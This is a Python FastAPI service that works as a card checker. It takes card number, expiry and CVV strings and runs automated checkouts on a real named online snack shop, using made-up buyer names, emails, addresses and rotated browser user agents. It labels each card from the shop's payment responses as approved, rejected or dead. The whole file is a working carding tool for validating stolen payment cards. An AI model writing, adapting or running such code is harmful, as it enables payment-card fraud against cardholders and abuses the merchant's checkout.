|
from fastapi import FastAPI, HTTPException, Request |
|
from pydantic import BaseModel |
|
import requests |
|
import random |
|
import string |
|
from bs4 import BeautifulSoup |
|
from fastapi.middleware.cors import CORSMiddleware |
|
|
|
app = FastAPI() |
|
|
|
|
|
app.add_middleware( |
|
CORSMiddleware, |
|
allow_origins=["*"], |
|
allow_credentials=True, |
|
allow_methods=["*"], |
|
allow_headers=["*"], |
|
) |
|
|
|
class CardData(BaseModel): |
|
card: str |
|
|
|
def generate_random_user_agent(): |
|
user_agents = [ |
|
'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36', |
|
'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36', |
|
'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/115.0' |
|
] |
|
return random.choice(user_agents) |
|
|
|
def generate_random_email(): |
|
providers = ['gmail.com', 'hotmail.com', 'yahoo.com', 'outlook.com'] |
|
first_name = ''.join(random.choices(string.ascii_lowercase, k=5)) |
|
last_name = ''.join(random.choices(string.ascii_lowercase, k=5)) |
|
provider = random.choice(providers) |
|
return f"{first_name}.{last_name}@{provider}" |
|
|
|
def generate_random_name(): |
|
first_names = ['John', 'Jane', 'Michael', 'Emily', 'David', 'Sarah', 'Robert', 'Jennifer', 'William', 'Lisa'] |
|
last_names = ['Smith', 'Johnson', 'Williams', 'Brown', 'Jones', 'Miller', 'Davis', 'Garcia', 'Rodriguez', 'Wilson'] |
|
return random.choice(first_names), random.choice(last_names) |
|
|
|
def generate_random_address(): |
|
streets = ['Main St', 'Elm St', 'Oak St', 'Pine St', 'Maple St', 'Cedar St', 'Birch St', 'Spruce St', 'Willow St', 'Ash St'] |
|
cities = ['New York', 'Los Angeles', 'Chicago', 'Houston', 'Phoenix', 'Philadelphia', 'San Antonio', 'San Diego', 'Dallas', 'San Jose'] |
|
states = ['WA', 'CA', 'NY', 'TX', 'FL', 'IL', 'PA', 'OH', 'GA', 'NC'] |
|
return { |
|
'street': f"{random.randint(100, 999)} {random.choice(streets)}", |
|
'city': random.choice(cities), |
|
'state': random.choice(states), |
|
'zip': f"{random.randint(10000, 99999)}", |
|
'phone': f"{random.randint(100, 999)}-{random.randint(100, 999)}-{random.randint(1000, 9999)}" |
|
} |
|
|
|
@app.post("/v1/check") |
|
async def check_card(card_data: CardData): |
|
try: |
|
cc, mes, ano, cvv = card_data.card.split('|') |
|
except ValueError: |
|
raise HTTPException(status_code=400, detail="Invalid card format. Expected format: cc|mm|yy|cvv") |
|
|
|
session = requests.Session() |
|
user_agent = generate_random_user_agent() |
|
email = generate_random_email() |
|
first_name, last_name = generate_random_name() |
|
address = generate_random_address() |
|
|
|
headers = { |
|
'User-Agent': user_agent, |
|
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7', |
|
'Accept-Language': 'es-ES,es;q=0.9', |
|
'Content-Type': 'application/x-www-form-urlencoded', |
|
'Origin': 'https://shop.kingnut.com', |
|
'Referer': 'https://shop.kingnut.com/2LBS-Cajun-Party-Mix-2-lbs-P494.aspx', |
|
} |
|
|
|
try: |
|
|
|
response = session.get('https://shop.kingnut.com/2LBS-Cajun-Party-Mix-2-lbs-P494.aspx', headers=headers) |
|
soup = BeautifulSoup(response.text, 'html.parser') |
|
viewstate = soup.find('input', {'name': '__VIEWSTATE'})['value'] |
|
viewstategenerator = soup.find('input', {'name': '__VIEWSTATEGENERATOR'})['value'] |
|
|
|
|
|
data = { |
|
'ctl00$ctl00$ScriptManager1': 'ctl00$ctl00$NestedMaster$PageContent$ctl00$BuyProductDialog1$BuyProductPanel|ctl00$ctl00$NestedMaster$PageContent$ctl00$BuyProductDialog1$AddToBasketButton', |
|
'__EVENTTARGET': '', |
|
'__EVENTARGUMENT': '', |
|
'__VIEWSTATE': viewstate, |
|
'__VIEWSTATEGENERATOR': viewstategenerator, |
|
'__VIEWSTATEENCRYPTED': '', |
|
'ctl00$ctl00$PageHeader$StoreHeader_H$SimpleSearch1$SearchPhrase': '', |
|
'ctl00$ctl00$NestedMaster$PageContent$ctl00$BuyProductDialog1$OurPrice$VS': 'YM9lQs4ZXe+144hEXt1LZxGhbSdorF50XSGyaTltBhynkcFMgr6rPIen6WbDwxj2', |
|
'ctl00$ctl00$NestedMaster$PageContent$ctl00$BuyProductDialog1$Quantity': '1', |
|
'ctl00$ctl00$NestedMaster$PageContent$ctl00$MoreCategoryItems1$ProductList$ctl00$Thumbnail$ProductPrice$VS': '/qPrGI2MxnZ0OuZZF/+4iH+771CLv/7ypKh6vaTn7dc2IOZiN8/J39M5gLB7ny4', |
|
'ctl00$ctl00$NestedMaster$PageContent$ctl00$MoreCategoryItems1$ProductList$ctl01$Thumbnail$ProductPrice$VS': 'fGzB9Ll1QkfqewAYcVoiEPsU1uT8iDT4ALT1rwn0l3LFAv3vvUY26qj+cvTbxKzB', |
|
'ctl00$ctl00$NestedMaster$PageContent$ctl00$MoreCategoryItems1$ProductList$ctl02$Thumbnail$ProductPrice$VS': 'DDVMl97O2ycn0iMjMVXU2ohwPh214YdYKc/uf17FeR5n0ZkIZEAD3dH0uZT+zk6m', |
|
'ctl00$ctl00$NestedMaster$RightSidebar$ProductTellAFriendRight$Name': '', |
|
'ctl00$ctl00$NestedMaster$RightSidebar$ProductTellAFriendRight$FromEmail': '', |
|
'ctl00$ctl00$NestedMaster$RightSidebar$ProductTellAFriendRight$FriendEmail': '', |
|
'ctl00$ctl00$PageFooter$StoreFooter_F$SubscribeToMailChimp1$UserEmail': '', |
|
'__ASYNCPOST': 'true', |
|
'ctl00$ctl00$NestedMaster$PageContent$ctl00$BuyProductDialog1$AddToBasketButton': '+ Add to Cart' |
|
} |
|
response = session.post('https://shop.kingnut.com/2LBS-Cajun-Party-Mix-2-lbs-P494.aspx', headers=headers, data=data) |
|
|
|
|
|
response = session.get('https://shop.kingnut.com/Basket.aspx', headers=headers) |
|
soup = BeautifulSoup(response.text, 'html.parser') |
|
viewstate = soup.find('input', {'name': '__VIEWSTATE'})['value'] |
|
viewstategenerator = soup.find('input', {'name': '__VIEWSTATEGENERATOR'})['value'] |
|
|
|
data = { |
|
'ctl00$ctl00$ScriptManager1': 'ctl00$ctl00$NestedMaster$PageContent$BasketPanel|ctl00$ctl00$NestedMaster$PageContent$CheckoutButton', |
|
'__EVENTTARGET': '', |
|
'__EVENTARGUMENT': '', |
|
'__LASTFOCUS': '', |
|
'__VIEWSTATE': viewstate, |
|
'__VIEWSTATEGENERATOR': viewstategenerator, |
|
'__VIEWSTATEENCRYPTED': '', |
|
'ctl00$ctl00$PageHeader$StoreHeader_H$minicart1$BasketRepeater$ctl00$Quantity': '1', |
|
'ctl00$ctl00$PageHeader$StoreHeader_H$SimpleSearch1$SearchPhrase': '', |
|
'ctl00$ctl00$NestedMaster$PageContent$BasketGrid$ctl02$Quantity': '1', |
|
'ctl00$ctl00$NestedMaster$RightSidebar$BasketShippingEstimate1$Country': 'US', |
|
'ctl00$ctl00$NestedMaster$RightSidebar$BasketShippingEstimate1$Province': '', |
|
'ctl00$ctl00$NestedMaster$RightSidebar$BasketShippingEstimate1$PostalCode': '', |
|
'ctl00$ctl00$PageFooter$StoreFooter_F$SubscribeToMailChimp1$UserEmail': '', |
|
'__ASYNCPOST': 'true', |
|
'ctl00$ctl00$NestedMaster$PageContent$CheckoutButton': 'Checkout >>' |
|
} |
|
response = session.post('https://shop.kingnut.com/Basket.aspx', headers=headers, data=data) |
|
|
|
|
|
response = session.get('https://shop.kingnut.com/Checkout/EditBillAddress.aspx', headers=headers) |
|
soup = BeautifulSoup(response.text, 'html.parser') |
|
viewstate = soup.find('input', {'name': '__VIEWSTATE'})['value'] |
|
viewstategenerator = soup.find('input', {'name': '__VIEWSTATEGENERATOR'})['value'] |
|
|
|
data = { |
|
'__EVENTTARGET': '', |
|
'__EVENTARGUMENT': '', |
|
'__LASTFOCUS': '', |
|
'__VIEWSTATE': viewstate, |
|
'__VIEWSTATEGENERATOR': viewstategenerator, |
|
'ctl00$ctl00$PageHeader$StoreHeader_H$minicart1$BasketRepeater$ctl00$Quantity': '1', |
|
'ctl00$ctl00$PageHeader$StoreHeader_H$SimpleSearch1$SearchPhrase': '', |
|
'ctl00$ctl00$NestedMaster$PageContent$UserName': email, |
|
'ctl00$ctl00$NestedMaster$PageContent$Password': '407d25146b14', |
|
'ctl00$ctl00$NestedMaster$PageContent$ConfirmPassword': '407d25146b14', |
|
'ctl00$ctl00$NestedMaster$PageContent$FirstName': first_name, |
|
'ctl00$ctl00$NestedMaster$PageContent$LastName': last_name, |
|
'ctl00$ctl00$NestedMaster$PageContent$Company': last_name, |
|
'ctl00$ctl00$NestedMaster$PageContent$Address1': address['street'], |
|
'ctl00$ctl00$NestedMaster$PageContent$Address2': '', |
|
'ctl00$ctl00$NestedMaster$PageContent$City': address['city'], |
|
'ctl00$ctl00$NestedMaster$PageContent$Country': 'US', |
|
'ctl00$ctl00$NestedMaster$PageContent$Province2': address['state'], |
|
'ctl00$ctl00$NestedMaster$PageContent$PostalCode': address['zip'], |
|
'ctl00$ctl00$NestedMaster$PageContent$Telephone': address['phone'], |
|
'ctl00$ctl00$NestedMaster$PageContent$Fax': '', |
|
'ctl00$ctl00$NestedMaster$PageContent$IsBusinessAddress': 'on', |
|
'ctl00$ctl00$NestedMaster$PageContent$ShipToOption': 'SHIP_TO_BILLING_ADDRESS', |
|
'ctl00$ctl00$NestedMaster$PageContent$ShippingContinueButton': 'Continue Checkout >>', |
|
'ctl00$ctl00$NestedMaster$PageContent$BasketShippingEstimate1$Country': 'US', |
|
'ctl00$ctl00$NestedMaster$PageContent$BasketShippingEstimate1$Province': '', |
|
'ctl00$ctl00$NestedMaster$PageContent$BasketShippingEstimate1$PostalCode': '', |
|
'ctl00$ctl00$PageFooter$StoreFooter_F$SubscribeToMailChimp1$UserEmail': '' |
|
} |
|
response = session.post('https://shop.kingnut.com/Checkout/EditBillAddress.aspx', headers=headers, data=data) |
|
|
|
|
|
soup = BeautifulSoup(response.text, 'html.parser') |
|
viewstate = soup.find('input', {'name': '__VIEWSTATE'})['value'] |
|
viewstategenerator = soup.find('input', {'name': '__VIEWSTATEGENERATOR'})['value'] |
|
|
|
data = { |
|
'__EVENTTARGET': '', |
|
'__EVENTARGUMENT': '', |
|
'__LASTFOCUS': '', |
|
'__VIEWSTATE': viewstate, |
|
'__VIEWSTATEGENERATOR': viewstategenerator, |
|
'ctl00$ctl00$PageHeader$StoreHeader_H$minicart1$BasketRepeater$ctl00$Quantity': '1', |
|
'ctl00$ctl00$PageHeader$StoreHeader_H$SimpleSearch1$SearchPhrase': '', |
|
'ctl00$ctl00$NestedMaster$PageContent$ContinueButton': 'Continue >>', |
|
'txt_DefaultGiftMsg': '', |
|
'ctl00$ctl00$NestedMaster$PageContent$ShipmentRepeater$ctl00$ShipMethodsList': '9', |
|
'ctl00$ctl00$NestedMaster$PageContent$ShipmentRepeater$ctl00$ShipMessage': '', |
|
'ctl00$ctl00$PageFooter$StoreFooter_F$SubscribeToMailChimp1$UserEmail': email |
|
} |
|
response = session.post('https://shop.kingnut.com/Checkout/ShipMethod.aspx', headers=headers, data=data) |
|
|
|
|
|
soup = BeautifulSoup(response.text, 'html.parser') |
|
viewstate = soup.find('input', {'name': '__VIEWSTATE'})['value'] |
|
viewstategenerator = soup.find('input', {'name': '__VIEWSTATEGENERATOR'})['value'] |
|
|
|
card_type = {'4': '1', '5': '2', '6': '4', '3': '3'}.get(cc[0], '1') |
|
|
|
data = { |
|
'ctl00$ctl00$ScriptManager1': 'ctl00$ctl00$NestedMaster$PageContent$PaymentAjax|ctl00$ctl00$NestedMaster$PageContent$PaymentWidget$CreditCardPaymentForm$CreditCardButton', |
|
'__EVENTTARGET': '', |
|
'__EVENTARGUMENT': '', |
|
'__VIEWSTATE': viewstate, |
|
'__VIEWSTATEGENERATOR': viewstategenerator, |
|
'ctl00$ctl00$PageHeader$StoreHeader_H$minicart1$BasketRepeater$ctl00$Quantity': '1', |
|
'ctl00$ctl00$PageHeader$StoreHeader_H$SimpleSearch1$SearchPhrase': '', |
|
'ctl00$ctl00$NestedMaster$PageContent$PaymentWidget$CouponCode': '', |
|
'ctl00$ctl00$NestedMaster$PageContent$PaymentWidget$CreditCardPaymentForm$CardType': card_type, |
|
'ctl00$ctl00$NestedMaster$PageContent$PaymentWidget$CreditCardPaymentForm$CardName': f'{first_name} {last_name}', |
|
'ctl00$ctl00$NestedMaster$PageContent$PaymentWidget$CreditCardPaymentForm$CardNumber': cc, |
|
'ctl00$ctl00$NestedMaster$PageContent$PaymentWidget$CreditCardPaymentForm$ExpirationMonth': mes, |
|
'ctl00$ctl00$NestedMaster$PageContent$PaymentWidget$CreditCardPaymentForm$ExpirationYear': ano, |
|
'ctl00$ctl00$NestedMaster$PageContent$PaymentWidget$CreditCardPaymentForm$SecurityCode': cvv, |
|
'ctl00$ctl00$PageFooter$StoreFooter_F$SubscribeToMailChimp1$UserEmail': email, |
|
'__ASYNCPOST': 'true', |
|
'ctl00$ctl00$NestedMaster$PageContent$PaymentWidget$CreditCardPaymentForm$CreditCardButton': 'Processing...' |
|
} |
|
response = session.post('https://shop.kingnut.com/Checkout/Payment.aspx', headers=headers, data=data) |
|
|
|
|
|
if 'CVV2 Mismatch: 15004-This transaction cannot be processed. Please enter a valid Credit Card Verification Number.' in response.text: |
|
status = "APPROVED β
" |
|
response_text = "CVV2 Mismatch: 15004-This transaction cannot be processed. Please enter a valid Credit Card Verification Number." |
|
elif 'Incorrect credit card expiration date.' in response.text: |
|
status = "Rejected! π΄" |
|
response_text = "Card Declined π΄" |
|
elif 'Your order is confirmed' in response.text: |
|
status = "Approved!π©" |
|
response_text = "Your order is confirmed(39$)π©" |
|
else: |
|
status = "DECLINED #DEAD β" |
|
response_text = "Unknown error" |
|
|
|
return { |
|
'status': status, |
|
'response': response_text, |
|
'card': card_data.card |
|
} |
|
|
|
except Exception as e: |
|
raise HTTPException(status_code=500, detail=str(e)) |
|
|
|
if __name__ == "__main__": |
|
import uvicorn |
|
uvicorn.run(app, host="0.0.0.0", port=8000) |
|
|